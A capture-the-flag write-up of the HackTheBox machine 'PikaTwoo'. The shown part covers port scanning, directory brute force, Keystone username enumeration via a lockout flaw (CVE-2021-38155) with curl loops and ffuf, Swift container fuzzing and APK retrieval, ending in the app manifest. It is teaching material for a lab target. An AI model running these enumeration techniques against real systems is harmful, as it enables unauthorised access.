HTB: PikaTwoo
PikaTwoo is an absolute monster of an insane box. I’ll start by abusing a vulnerability in OpenStack’s KeyStone to leak a username. With that username, I’ll find an Android application file in the OpenStack Swift object storage. The application is a Flutter application built with the obfuscate option, making it very difficult to reverse. I’ll set up an emulator to proxy the application traffic, using Frida to bypass certificate pinning. I’ll find an SQL injection in the API, and leak an email address. I’ll exploit another vulenrability in the APISIX uri-block WAF to get access to private documents for another API. There, I’ll reset the password for the leaked email, and get authenticated access. I’ll exploit a vulnerability in the modsecurity core rule set to bypass the WAF and get local file include in that API. From there, I’ll abuse nginx temporary files to get a reverse shell in the API pod. I’ll leak an APISIX secret from the Kubernetes secrets store, and use that with another vulnerability to get execution in the APISIX pod. I’ll find creds for a user in a config file and use them to SSH into the host. From there, I’ll abuse the Cr8Escape vulnerability to get execution as root.
Box Info
Name | PikaTwoo Play on HackTheBox |
---|---|
Release Date | 04 Feb 2023 |
Retire Date | 09 Sep 2023 |
OS | Linux |
Base Points | Insane [50] |
Rated Difficulty | |
Radar Graph | |
1 days 23:03:04 |
|
2 days 02:56:58 |
|
Creators |
Recon
nmap
nmap
finds nine open TCP ports:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.199
Starting Nmap 7.80 ( https://nmap.org ) at 2023-08-25 14:17 EDT
Nmap scan report for 10.10.11.199
Host is up (0.093s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
4369/tcp open epmd
5000/tcp open upnp
5672/tcp open amqp
8080/tcp open http-proxy
25672/tcp open unknown
35357/tcp open openstack-id
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds
oxdf@hacky$ nmap -p 22,80,443,4369,5000,5672,8080,25672,35357 -sCV 10.10.11.199
Starting Nmap 7.80 ( https://nmap.org ) at 2023-08-25 14:19 EDT
WARNING: Service 10.10.11.199:5000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.11.199
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-server-header: nginx/1.18.0
|_http-title: Pikaboo
443/tcp open ssl/http nginx 1.18.0
|_http-server-header: APISIX/2.10.1
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=api.pokatmon-app.htb/organizationName=Pokatmon Ltd/stateOrProvinceName=United Kingdom/countryName=UK
| Not valid before: 2021-12-29T20:33:08
|_Not valid after: 3021-05-01T20:33:08
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
5000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Content-Type: text/html; charset=utf-8
| Vary: X-Auth-Token
| x-openstack-request-id: req-ae49910b-c07a-4867-a7ee-df8fb9c5c917
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 300 MULTIPLE CHOICES
| Content-Type: application/json
| Location: http://pikatwoo.pokatmon.htb:5000/v3/
| Vary: X-Auth-Token
| x-openstack-request-id: req-6006b017-fafe-49d5-929f-1c5fed46af10
| {"versions": {"values": [{"id": "v3.14", "status": "stable", "updated": "2020-04-07T00:00:00Z", "links": [{"rel": "self", "href": "http://pikatwoo.pokatmon.htb:5000/v3/"}], "media-types": [{"base": "application/json", "type": "application/vnd.openstack.identity-v3+json"}]}]}}
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Vary: X-Auth-Token
| x-openstack-request-id: req-4598481e-9b91-4d33-b068-91ec53a0c4c0
| RTSPRequest:
| RTSP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Vary: X-Auth-Token
| x-openstack-request-id: req-33cedcbb-e43d-4a7e-b8c4-021909730672
| SIPOptions:
|_ SIP/2.0 200 OK
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
5672/tcp open amqp RabbitMQ 3.8.9 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| connection.blocked: YES
| consumer_priorities: YES
| authentication_failure_close: YES
| per_consumer_qos: YES
| direct_reply_to: YES
| cluster_name: rabbit@pikatwoo.pokatmon.htb
| copyright: Copyright (c) 2007-2020 VMware, Inc. or its affiliates.
| information: Licensed under the MPL 2.0. Website: https://rabbitmq.com
| platform: Erlang/OTP 23.2.6
| product: RabbitMQ
| version: 3.8.9
| mechanisms: AMQPLAIN PLAIN
|_ locales: en_US
8080/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
25672/tcp open unknown
35357/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-title: Site doesn't have a title (application/json).
|_Requested resource was http://10.10.11.199:35357/v3/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=8/25%Time=64E8F0C4%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1DC,"HTTP/1\.0\x20300\x20MULTIPLE\x20CHOICES\r\nContent-Type:\
SF:x20application/json\r\nLocation:\x20http://pikatwoo\.pokatmon\.htb:5000
SF:/v3/\r\nVary:\x20X-Auth-Token\r\nx-openstack-request-id:\x20req-6006b01
SF:7-fafe-49d5-929f-1c5fed46af10\r\n\r\n{\"versions\":\x20{\"values\":\x20
SF:\[{\"id\":\x20\"v3\.14\",\x20\"status\":\x20\"stable\",\x20\"updated\":
SF:\x20\"2020-04-07T00:00:00Z\",\x20\"links\":\x20\[{\"rel\":\x20\"self\",
SF:\x20\"href\":\x20\"http://pikatwoo\.pokatmon\.htb:5000/v3/\"}\],\x20\"m
SF:edia-types\":\x20\[{\"base\":\x20\"application/json\",\x20\"type\":\x20
SF:\"application/vnd\.openstack\.identity-v3\+json\"}\]}\]}}")%r(RTSPReque
SF:st,AC,"RTSP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nAllow:\x20GET,\x20OPTIONS,\x20HEAD\r\nVary:\x20X-Auth-Token\r
SF:\nx-openstack-request-id:\x20req-33cedcbb-e43d-4a7e-b8c4-021909730672\r
SF:\n\r\n")%r(HTTPOptions,AC,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20OPTIONS,\x20HEAD\r\nVar
SF:y:\x20X-Auth-Token\r\nx-openstack-request-id:\x20req-4598481e-9b91-4d33
SF:-b068-91ec53a0c4c0\r\n\r\n")%r(FourOhFourRequest,180,"HTTP/1\.0\x20404\
SF:x20NOT\x20FOUND\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nVary
SF::\x20X-Auth-Token\r\nx-openstack-request-id:\x20req-ae49910b-c07a-4867-
SF:a7ee-df8fb9c5c917\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x
SF:20HTML\x203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1
SF:>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x
SF:20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manual
SF:ly\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\
SF:n")%r(SIPOptions,12,"SIP/2\.0\x20200\x20OK\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.99 seconds
Based on the OpenSSH version, the host is likely running Debian 11 bullseye.
these scan results show:
- SSH on TCP 22.
- nginx web servers on TCP 80, 443, 8080, and 35357.
- RabbitMQ-related ports, including the Erlang Port Mapper on TCP 4369, RabbitMQ on TCP 5672, and likely whatever is running on 25672. I looked at this a bit Dyplesher a long time ago and in Canape even longer ago.
- Something that could be SIP/VoIP-related based on the
nmap
results on TCP 5000, but that ends up being another HTTP API.
I’ll note the TLS certificate name on TCP 443 is api.pokatmon-app.htb
. I’ll add this to my /etc/hosts
file. I’ll look for any kind of virtual host routing and additional subdomains for each HTTP server, but it doesn’t seem to change anything.
HTTP - TCP 80
Site
The site is the “Pokadex” site from Pikaboo:
Interestingly, while on Pikaboo, clicking on one of the monsters gave a message about the API integration coming soon, this time it leads to a 404 response:
That is a JSON response that Firefox is displaying in a pretty manner:
{
"success":"false",
"message":"Page not found",
"error": {
"statusCode":404,
"message":"You reached a route that is not defined on this server"
}
}
The link to “Docs” goes to /docs
which returns a redirect to /docs/
which redirects to /login
:
Tech Stack
The HTTP headers show nginx sitting in front of the Express NodeJS framework:
HTTP/1.1 304 Not Modified
Server: nginx/1.18.0
Date: Fri, 25 Aug 2023 18:42:46 GMT
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"23db-/4eVHjFc3YM0K1mD1HbO0F28wn4"
That 404 response is the default response for NodeJS, which fits Express:
Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://10.10.11.199
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.199
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 13w 140c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 184l 616w 9179c http://10.10.11.199/
301 GET 10l 16w 179c http://10.10.11.199/images => http://10.10.11.199/images/
200 GET 114l 196w 3340c http://10.10.11.199/login
301 GET 10l 16w 175c http://10.10.11.199/docs => http://10.10.11.199/docs/
200 GET 114l 196w 3340c http://10.10.11.199/Login
302 GET 1l 4w 28c http://10.10.11.199/welcome => http://10.10.11.199/login
301 GET 10l 16w 175c http://10.10.11.199/Docs => http://10.10.11.199/Docs/
301 GET 10l 16w 181c http://10.10.11.199/artwork => http://10.10.11.199/artwork/
200 GET 83l 143w 2371c http://10.10.11.199/forgot
200 GET 15l 32w 292c http://10.10.11.199/CHANGELOG
200 GET 202l 1581w 11358c http://10.10.11.199/docs/LICENSE
301 GET 10l 16w 175c http://10.10.11.199/DOCS => http://10.10.11.199/DOCS/
200 GET 202l 1581w 11358c http://10.10.11.199/Docs/LICENSE
200 GET 202l 1581w 11358c http://10.10.11.199/DOCS/LICENSE
200 GET 114l 196w 3340c http://10.10.11.199/LOGIN
302 GET 1l 4w 28c http://10.10.11.199/Welcome => http://10.10.11.199/login
403 GET 1l 3w 21c http://10.10.11.199/password-reset
[####################] - 6m 180000/180000 0s found:17 errors:0
[####################] - 5m 30000/30000 86/s http://10.10.11.199/
[####################] - 5m 30000/30000 85/s http://10.10.11.199/images/
[####################] - 6m 30000/30000 76/s http://10.10.11.199/docs/
[####################] - 6m 30000/30000 76/s http://10.10.11.199/Docs/
[####################] - 5m 30000/30000 84/s http://10.10.11.199/artwork/
[####################] - 5m 30000/30000 85/s http://10.10.11.199/DOCS/
There’s not much new here except for /CHANGELOG
. It shows some hints about what is to come:
oxdf@hacky$ curl http://10.10.11.199/CHANGELOG
PokatMon v1.0.2
==============================
- PokatMon Android App Beta1 released
- New Authentication API
- Web Server hardening with ModSecurity
PokatMon v1.0.1
==============================
- New Authentication API
PokatMon v1.0.0
==============================
- Initial release
I’ll keep an eye out for an Android app and an authentication API, as well as the Modsecurity web application firewall (WAF).
HTTPS - TCP 443
Site
This page just returns a 404 message at the root:
Tech Stack
The HTTP response header have a different Server header here:
HTTP/1.1 404 Not Found
Date: Fri, 25 Aug 2023 19:05:56 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Server: APISIX/2.10.1
Content-Length: 36
{"error_msg":"404 Route Not Found"}
APISIX is an API Gateway that can help with things like load balancing. Searching for the 404 string also finds APISIX-related results:
I’ll also note the version of APISIX, 2.10.1. There are several vulnerabilities in this version, which I’ll come back to later.
Directory Brute Force
feroxbuster
shows that anything with the string “private” in it returns 403:
oxdf@hacky$ feroxbuster -u https://10.10.11.199 -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://10.10.11.199
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 4w 36c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 1l 4w 38c https://10.10.11.199/_private
403 GET 1l 4w 38c https://10.10.11.199/private
403 GET 1l 4w 38c https://10.10.11.199/download_private
403 GET 1l 4w 38c https://10.10.11.199/privatemsg
403 GET 1l 4w 38c https://10.10.11.199/privateassets
403 GET 1l 4w 38c https://10.10.11.199/privatedir
403 GET 1l 4w 38c https://10.10.11.199/privatefolder
403 GET 1l 4w 38c https://10.10.11.199/toolsprivate
403 GET 1l 4w 38c https://10.10.11.199/private-cgi-bin
403 GET 1l 4w 38c https://10.10.11.199/private2
403 GET 1l 4w 38c https://10.10.11.199/private_messages
403 GET 1l 4w 38c https://10.10.11.199/_vti_private
403 GET 1l 4w 38c https://10.10.11.199/private_files
403 GET 1l 4w 38c https://10.10.11.199/privatedata
403 GET 1l 4w 38c https://10.10.11.199/privatemessages
403 GET 1l 4w 38c https://10.10.11.199/private1
403 GET 1l 4w 38c https://10.10.11.199/privatearea
403 GET 1l 4w 38c https://10.10.11.199/privatedirectory
403 GET 1l 4w 38c https://10.10.11.199/privatefiles
403 GET 1l 4w 38c https://10.10.11.199/private_html
403 GET 1l 4w 38c https://10.10.11.199/privates
403 GET 1l 4w 38c https://10.10.11.199/privateimages
[####################] - 1m 30000/30000 0s found:22 errors:0
[####################] - 1m 30000/30000 483/s https://10.10.11.199/
At first I thought that was nginx or modsecurity, but looking at the raw response shows something different:
oxdf@hacky$ curl -k https://10.10.11.199/private
{"error_msg":"access is not allowed"}
That message is associated with the uri-blocker
plugin for APISIX:
swift - TCP 8080
Site
This page also returns a 404 message, though a different one:
Tech Stack
The HTTP response headers show the nginx server, but also include X-Trans-Id
and X-Openstack-Request-Id
headers:
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Fri, 25 Aug 2023 19:12:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Trans-Id: txfbad09c2db7c4b3ab4724-0064e8fd18
X-Openstack-Request-Id: txfbad09c2db7c4b3ab4724-0064e8fd18
Content-Length: 70
OpenStack is open-source cloud software that simulates things like AWS. According to the OpenStack default ports documentation, 8080 typically hosts the OpenStack Object Storage service, swift.
The documentation for swift shows a few endpoints to check. /info
does return information that shows this is swift version 2.27.0:
oxdf@hacky$ curl -s http://10.10.11.199:8080/info | jq .
{
"swift": {
"version": "2.27.0",
"strict_cors_mode": true,
"policies": [
{
"name": "Policy-0",
"aliases": "Policy-0",
"default": true
}
],
"allow_account_management": true,
"account_autocreate": true,
"max_file_size": 5368709122,
"max_meta_name_length": 128,
"max_meta_value_length": 256,
"max_meta_count": 90,
"max_meta_overall_size": 4096,
"max_header_size": 8192,
"max_object_name_length": 1024,
"container_listing_limit": 10000,
"account_listing_limit": 10000,
"max_account_name_length": 256,
"max_container_name_length": 256,
"extra_header_count": 0
},
"s3api": {
"max_bucket_listing": 1000,
"max_parts_listing": 1000,
"max_upload_part_num": 1000,
"max_multi_delete_objects": 1000,
"allow_multipart_uploads": true,
"min_segment_size": 5242880,
"s3_acl": false
},
"bulk_upload": {
"max_containers_per_extraction": 10000,
"max_failed_extractions": 1000
},
"bulk_delete": {
"max_deletes_per_request": 10000,
"max_failed_deletes": 1000
},
"tempurl": {
"methods": [
"GET",
"HEAD",
"PUT",
"POST",
"DELETE"
],
"incoming_remove_headers": [
"x-timestamp"
],
"incoming_allow_headers": [],
"outgoing_remove_headers": [
"x-object-meta-*"
],
"outgoing_allow_headers": [
"x-object-meta-public-*"
],
"allowed_digests": [
"sha1",
"sha256",
"sha512"
]
},
"tempauth": {
"account_acls": true
},
"slo": {
"max_manifest_segments": 1000,
"max_manifest_size": 8388608,
"yield_frequency": 10,
"min_segment_size": 1,
"allow_async_delete": false
},
"versioned_writes": {
"allowed_flags": [
"x-versions-location",
"x-history-location"
]
},
"object_versioning": {},
"symlink": {
"symloop_max": 2,
"static_links": true
}
}
The next API to look at is /v1/{account}
and then /v1/{account}/{container}
. Unfortunately, I don’t know any accounts a this time. Looking at both /v1/admin
(which may or may not exist) and /v1/0xdf
(that I don’t expect to exist), they both return the same 401 Unauthorized response. Running ffuf
to try other names doesn’t find anything.
The rest of the endpoints require an account name. I do note that the docs show using a X-Auth-Token: {token}
header to access these endpoints. I don’t have a token at this time.
keystone - TCP 5000 / 35357
Visiting either port 5000 or 35357 returns the same JSON:
oxdf@hacky$ curl http://10.10.11.199:5000/ -s | jq .
{
"versions": {
"values": [
{
"id": "v3.14",
"status": "stable",
"updated": "2020-04-07T00:00:00Z",
"links": [
{
"rel": "self",
"href": "http://10.10.11.199:5000/v3/"
}
],
"media-types": [
{
"base": "application/json",
"type": "application/vnd.openstack.identity-v3+json"
}
]
}
]
}
}
Searching for the string “openstack.identity-v3+json” returns results for the keystone identity service:
The same OpenStack ports list shows that port 5000 is the default for keystone.
Get Android Application
Identify Username
Identify CVE
In looking for information about keystone and potential vulnerabilities, I’ll find CVE-2021-38155, which is easy to miss as it’s listed as both an information disclosure vulnerability and a denial of service vulnerability. By guessing an account name and failing auth until it locks out, keystone will respond differently if the account exists or not. This bug post on launchpad shows how this could work.
This feature, lockout_faulure_attempts
, according to the docs, is disabled by default. I don’t really have a way to figure out what the number of attempts required or if this is even enabled other other than to try.
Test POC
I’ll start with a POST request to /v3/auth/tokens
, copying the body from the link above, and looking at what happens with a username I expect not to exist. I’ll use a bash
loop to send the request ten times:
oxdf@hacky$ for i in {1..10}; do echo -n $i; curl -d '{ "auth": {
> "identity": {
> "methods": ["password"],
> "password": {
> "user": {
> "name": "0xdf",
> "domain": { "id": "default" },
> "password": "fake_password"
> }
> }
> }
> }
> }' -H "Content-Type: application/json" http://10.10.11.199:5000/v3/auth/tokens; done
1{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
2{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
3{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
4{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
5{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
6{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
7{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
8{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
9{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
10{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
It just returns the same thing over and over.
I’m going to start with a guess that an admin account might exist. If this doesn’t work, I won’t know if that’s because it’s not configured to do lockout, or if it’s because admin user doesn’t exist. But if it does work, I’ll have proved admin is an account and that this technique works. It works:
oxdf@hacky$ for i in {1..10}; do echo -n $i; curl -d '{ "auth": {
> "identity": {
> "methods": ["password"],
> "password": {
> "user": {
> "name": "admin",
> "domain": { "id": "default" },
> "password": "fake_password"
> }
> }
> }
> }
> }' -H "Content-Type: application/json" http://10.10.11.199:5000/v3/auth/tokens; done
1{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
2{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
3{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
4{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
5{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
6{"error":{"code":401,"message":"The account is locked for user: 01b5b2fb7f1547f282dc1c62ff0087e1.","title":"Unauthorized"}}
7{"error":{"code":401,"message":"The account is locked for user: 01b5b2fb7f1547f282dc1c62ff0087e1.","title":"Unauthorized"}}
8{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
9{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
10{"error":{"code":401,"message":"The request you have made requires authentication.","title":"Unauthorized"}}
At requests 6 and 7 it shows a different message, saying that the account is locked with a userid.
Bruteforce Users
I don’t really need this exploit to guess there’s an admin user. I want to look for other users. The most efficient way I know to do this is with ffuf
, giving it two wordlists (as described here). The first list will be just the numbers 1-10. This is just to make sure it does each name 10 times. The second list is the list of names to fuzz. I’ll pass both lists, with the numbers as F1
and the names as F2
. I’ll use F2
in the name field, and I’ll include F1
in the wrong password just so that it’s used.
It finds another name after about four minutes, andrew:
oxdf@hacky$ ffuf -u http://10.10.11.199:5000/v3/auth/tokens -X POST -H "Content-type: application/json" -w ./tenlines.txt:F1,/opt/SecLists/Usernames/Names/names.txt:F2 -d '{ "auth": {"identity": {"methods": ["password"], "password": {"user": { "name": "F2","domain": { "id": "default" },"password": "fake_passwordF1" } } } } }' -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.11.199:5000/v3/auth/tokens
:: Wordlist : F1: /home/oxdf/hackthebox/pikatwoo-10.10.11.199/tenlines.txt
:: Wordlist : F2: /opt/SecLists/Usernames/Names/names.txt
:: Header : Content-Type: application/json
:: Data : { "auth": {"identity": {"methods": ["password"], "password": {"user": { "name": "F2","domain": { "id": "default" },"password": "fake_passwordF1" } } } } }
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 401, Size: 124, Words: 7, Lines: 2, Duration: 5274ms]
* F1: 8
* F2: admin
[Status: 401, Size: 124, Words: 7, Lines: 2, Duration: 5320ms]
* F1: 4
* F2: admin
[Status: 401, Size: 124, Words: 7, Lines: 2, Duration: 5366ms]
* F1: 10
* F2: admin
[Status: 401, Size: 124, Words: 7, Lines: 2, Duration: 5812ms]
* F1: 10
* F2: andrew
[Status: 401, Size: 124, Words: 7, Lines: 2, Duration: 5955ms]
* F1: 9
* F2: andrew
:: Progress: [101770/101770] :: Job [1/1] :: 24 req/sec :: Duration: [1:45:35] :: Errors: 0 ::
Each username shows up a few times because somethings the locked message comes more than once. I’ll leave the fuzz going in the background (it’ll take over an hour and a half), but it won’t find any others.
keystone <-> swift
Background
The docs for swift show different ways to configure authentication, and one of the methods is keystone. With this setup, an end user can use a prefix (by default AUTH_
) to their account name to get authentication in the background.
Fuzz
Trying manually for both admin and andrew doesn’t look promising:
oxdf@hacky$ curl http://10.10.11.199:8080/v1/AUTH_admin
<html><h1>Unauthorized</h1><p>This server could not verify that you are authorized to access the document you requested.</p></html>
oxdf@hacky$ curl http://10.10.11.199:8080/v1/AUTH_andrew
<html><h1>Unauthorized</h1><p>This server could not verify that you are authorized to access the document you requested.</p></html>
Still, I’ll look for containers with ffuf
, starting with andrew (as it was more difficult to find and not just guess):
oxdf@hacky$ ffuf -u http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
android [Status: 200, Size: 17, Words: 1, Lines: 2, Duration: 862ms]
:: Progress: [63087/63087] :: Job [1/1] :: 21 req/sec :: Duration: [0:51:11] :: Errors: 0 ::
After a couple minutes, it finds android
. It runs for a long time after that, but android
is all that is needed.
Get APK
I’ll hit that endpoint, and it returns the name of a file:
oxdf@hacky$ curl http://10.10.11.199:8080/v1/AUTH_andrew/android
pokatmon-app.apk
I’ll download it with wget
:
oxdf@hacky$ wget http://10.10.11.199:8080/v1/AUTH_andrew/android/pokatmon-app.apk
--2023-08-25 17:37:00-- http://10.10.11.199:8080/v1/AUTH_andrew/android/pokatmon-app.apk
Connecting to 10.10.11.199:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12462792 (12M) [application/vnd.android.package-archive]
Saving to: ‘pokatmon-app.apk’
pokatmon-app.apk 100%[===========================================>] 11.88M 1.07MB/s in 17s
2023-08-25 17:37:21 (712 KB/s) - ‘pokatmon-app.apk’ saved [12462792/12462792]
Recover Valid Email
Static APK Analysis
Unpack Code
I’ll unpack the files in the APK using apktool
. I could use 7z
or unzip
, but apktool
will also convert some binary files to more readable formats:
oxdf@hacky$ mkdir pokatmon-app
oxdf@hacky$ cp pokatmon-app.apk pokatmon-app
oxdf@hacky$ cd pokatmon-app
oxdf@hacky$ apktool d pokatmon-app.apk
I: Using Apktool 2.5.0-dirty on pokatmon-app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/oxdf/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
W: Can't find 9patch chunk in file: "drawable-mdpi-v4/notification_bg_low_pressed.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-xhdpi-v4/notification_bg_normal_pressed.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-hdpi-v4/notification_bg_normal_pressed.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-xhdpi-v4/notification_bg_normal.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-mdpi-v4/notification_bg_normal_pressed.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-xhdpi-v4/notification_bg_low_normal.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-mdpi-v4/notification_bg_low_normal.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-mdpi-v4/notification_bg_normal.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-hdpi-v4/notification_bg_low_pressed.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-hdpi-v4/notification_bg_low_normal.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-hdpi-v4/notification_bg_normal.9.png". Renaming it to *.png.
W: Can't find 9patch chunk in file: "drawable-xhdpi-v4/notification_bg_low_pressed.9.png". Renaming it to *.png.
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Manifest
In the root of the unpacked application, AndroidManifest.xml
describes how the app is configured and organized.
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="31" android:compileSdkVersionCodename="12" package="htb.pokatmon.pokatmon_app" platformBuildVersionCode="31" platformBuildVersionName="12">
<uses-permission android:name="android.permission.INTERNET"/>
<application android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:icon="@mipmap/ic_launcher" android:label="pokatmon_app" android:name="android.app.Application" android:usesCleartextTraffic="true">
<activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize|smallestScreenSize|uiMode" android:exported="true" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="htb.pokatmon.pokatmon_app.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize">
